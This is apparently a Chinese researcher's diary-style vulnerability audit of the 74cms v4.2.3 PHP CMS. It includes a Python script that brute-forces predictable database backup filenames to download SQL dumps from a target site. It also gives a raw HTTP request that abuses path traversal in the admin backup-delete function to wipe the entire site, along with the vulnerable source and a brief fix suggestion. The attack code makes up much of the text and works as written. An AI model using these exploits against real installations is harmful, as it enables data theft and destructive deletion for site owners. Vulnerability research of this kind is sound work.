2019.1.5 下午三点到达图书馆
看先知phpoop师傅又双叒贡献了关于74cms的一个洞 好奇一下这个CMS 于是测一下咯。
Code:http://www.74cms.com/download/index.html
Version:`74cms_Home_Setup_v4.2.3
这里不知道为什么4.2.3的发布日期为什么会比4.2.1x的早
前期了解:
看了先知phpoop师傅的文章和百度一些资料 注入感觉被挖得差不多了 试试别的。
测试环境:MacOS 10.14
+ MAMP Pro
+ BurpSuite
+ FileMonitor
上来就注意到写出了日志
内容为:
[ 2019-01-05T16:27:25+08:00 ] 127.0.0.1 /install.php
INFO: [ app_init ] --START--
INFO: Run Behavior\BuildLiteBehavior [ RunTime:0.000051s ]
INFO: [ app_init ] --END-- [ RunTime:0.001199s ]
INFO: [ app_begin ] --START--
INFO: Run Behavior\ReadHtmlCacheBehavior [ RunTime:0.001016s ]
INFO: [ app_begin ] --END-- [ RunTime:0.001140s ]
INFO: [ view_parse ] --START--
INFO: [ template_filter ] --START--
INFO: Run Behavior\ContentReplaceBehavior [ RunTime:0.000124s ]
INFO: [ template_filter ] --END-- [ RunTime:0.000262s ]
INFO: Run Behavior\ParseTemplateBehavior [ RunTime:0.016973s ]
INFO: [ view_parse ] --END-- [ RunTime:0.017170s ]
INFO: [ view_filter ] --START--
INFO: Run Behavior\WriteHtmlCacheBehavior [ RunTime:0.000629s ]
INFO: [ view_filter ] --END-- [ RunTime:0.000745s ]
INFO: [ app_end ] --START--
INFO: Run Behavior\ShowPageTraceBehavior [ RunTime:0.001023s ]
INFO: [ app_end ] --END-- [ RunTime:0.001153s ]
没有什么敏感信息 留到后面看。
安装完成后日志文件会由/install/Runtime/Logs/Home/19_01_05.log
目录 移动到 /install/Runtime/Logs/Home/1546677195-19_01_05.log
目录 需要注意日志命名发生变化了。
安装中间环节测试未发现其他问题。
在测试后台-系统-网站配置功能时发现 修改配置后程序会删掉原配置文件 重新创建新配置文件 难道刚刚修改的内容是写入到data/Runtime/Data/config.php
文件 而不是写入数据库?
果不其然 的确写到了这个php文件 进过测试发现 改cms其他配置均为写到php文件 而不是数据库 这不是意味着可以找个合适的点来构造payload写入文件 达到getshell的目的
然后笔者在文件中构造好了poc代码',phpinfo(),'
测试时发现单引号被过滤了 就这样从四点过折腾到六点过没绕过 放弃 先测其他点
随后在后台-工具-数据库-备份中发现该系统数据库备份文件名简单 可猜解。
附上Python POC(仅查找2017-2019的备份):
# -*- coding: utf-8 -*-
-------------------------------------------------
File Name: 74cms_MysqlBak
Description :
Author : CoolCat
date: 2019/1/5
-------------------------------------------------
Change Activity:
2019/1/5:
-------------------------------------------------
"""
__author__ = 'CoolCat'
import requests
def getBak(time):
print("[running]:正在查询" + time + "是否存在备份")
dir = time + "_1"
filename = dir + "_1.sql"
url = target + "//data/backup/database/" + dir +"/"+ filename
session = requests.Session()
headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0",
"Connection": "close", "Accept-Language": "en", "Accept-Encoding": "gzip, deflate"}
cookies = {"think_language": "en", "think_template": "default", "PHPSESSID": "6d86a34ec9125b2d08ebbb7630838682"}
response = session.get(url=url, headers=headers, cookies=cookies)
if response.status_code == 200:
print(url)
exit()
if __name__ == '__main__':
global target
target = "http://www.target.com"
for year in range(2017, 2020):
for mouth in range(1, 13):
for day in range(1, 31):
time = (str(year) + str('%02d' % mouth) + str('%02d' % day))
getBak(time)
实战测试:
前面的单引号没能绕过 暂且放弃
经过测试 phpoop师傅的某cms v4.2.1-v4.2.129-后台getshell漏洞可利用于4.2.3版本
定位到文件/Application/Admin/Controller/DatabaseController.class.php
第130-162行代码为:
protected function _make_backup_name(){
$backup_path = DATABASE_BACKUP_PATH;
$today = date('Ymd_', time());
$today_backup = array(); //保存今天已经备份过的
if (is_dir($backup_path))
{
if ($handle = opendir($backup_path))
{
while (($file = readdir($handle)) !== false)
{
if ($file{0} != '.' && filetype($backup_path . $file) == 'dir')
{
if (strpos($file, $today) === 0)
{
$no = intval(str_replace($today, '', $file)); //当天的编号
if ($no)
{
$today_backup[] = $no;
}
}
}
}
}
}
if ($today_backup)
{
$today .= max($today_backup) + 1;
} else
{
$today .= '1';
}
return $today;
}
第214-217行
protected function _sava_sql($vol){
return file_put_contents(DATABASE_BACKUP_PATH . $this->backup_name .
'/' . $this->backup_name . '_' . $vol . '.sql', $this->dump_sql);
}
取了备份当天的日期加上字符"_"以及一个数字来作为备份的文件名。如上面Python版的Poc所写一样。
厂商可修改命名方式来解决此问题(比如$vol变量不要用个位数字 而是换成多位随机码)
总体上来说给前台日穿74cms增加了新的机会。(4.X均通用)
2019.1.5 下午七点放弃继续测试(想起今天还没吃过饭 命要紧。)
POC(删除整站):
GET /index.php?m=admin&c=database&a=del&name=/../../../../../ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/index.php?m=admin&c=database&a=restore
Connection: close
Cookie: think_template=default; PHPSESSID=6d86a34ec9125b2d08ebbb7630838682; think_language=en
Upgrade-Insecure-Requests: 1
问题出在/Application/Admin/Controller/DatabaseController.class.php文件的58到66行
public function del(){
$name = I('request.name','','trim');
!$name && $this->error('请选择要删除的备份文件');
!is_array($name) && $name = array($name);
foreach ($name as $key => $val) {
rmdirs(DATABASE_BACKUP_PATH.$val,true);
}
$this->success('删除备份文件成功!');
}
name参数可控 导致可任意文件夹删除。